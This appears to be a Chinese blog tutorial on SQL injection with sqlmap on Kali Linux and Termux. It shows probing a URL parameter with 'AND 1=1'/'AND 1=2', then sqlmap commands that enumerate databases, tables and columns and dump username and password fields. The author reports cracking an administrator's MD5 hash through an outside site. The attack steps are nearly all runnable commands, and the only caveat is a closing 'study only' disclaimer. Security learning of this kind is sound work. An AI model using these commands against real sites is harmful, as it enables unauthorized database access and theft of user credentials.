系统环境:Kali-Linux-2021.2
移动端termux版教程已更新
sqlmap中文文档:传送门
Windows 安装sqlmap教程:传送门
Linux 安装sqlmap教程:传送门
笔记如有纰漏,欢迎在评论区指点
判断是否存在注入点
假设,一条网页的链接为http://192.168.3.1/index.php?id=8,可以清楚看到链接后边有一串形如?id=8的字符。 这时只要在链接后边加上AND+1=1,如果页面显示正常没有出现报错,则再将AND+1=1替换为AND+1=2,此时如果页面出现报错,可以判断存在注入攻击点。
例:
http://192.168.3.1/index.php?id=8+AND+1=1
http://192.168.3.1/index.php?id=8+AND+1=2
使用sqlmap工具进行扫描
枚举出 DBMS 所有数据库
首先先用 -u发起对目标链接的请求,结合使用 --dbs枚举出 DBMS 所有数据库命令。
sqlmap -u http://192.168.3.1/index.php?id=8 --dbs
对于termux用户,当输入以上命令时会出现错误。原因是因为没有重新启动sqlmap.py程序。报错例子如下:
根据sqlmap提示,每条命令前都必须加上python2 sqlmap.py 方可正常执行命令。例:
我用我的一个子站进行测试,发现sqlmap枚举出了两个数据库。
选择一个数据库进行注入 查看表单
使用 -D加数据库名来指定目标库,结合 --tables枚举出DBMS数据库中的所有表命令。
sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] --tables (请将括号一同替换)
我们以521_iboy66lee_cl数据库为例。
可以看到该数据库下有一个名为user的表单,我们可以猜测该表单下有用户名的密码一类的关键信息。
枚举出表单下所有的 列
使用 -T 指定要枚举的 DBMS 数据表,再用 --columns枚举出 DBMS 数据库中的所有列*,
sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] --columns
输入命令后顺利挖到了表下所有的列,就会看到熟悉的username和password
破解目标数据
在上一条命令后边再继续使用 -C命令指定要枚举的 DBMS 数据列, --dump命令导出DBMS数据库表项。
sqlmap -u http://192.168.3.1/index.php?id=8 -D [数据库名] -T [表名] -C username,password --dump
通过自带字典的破解很快就拿到了管理员的用户名和密码,密码很明显是经过md5加密的,到第三方破解平台就能拿到登录密码。
注:此文章仅供学习记录,切勿用于违法活动!
如需转载请遵循相关协议并标明原文地址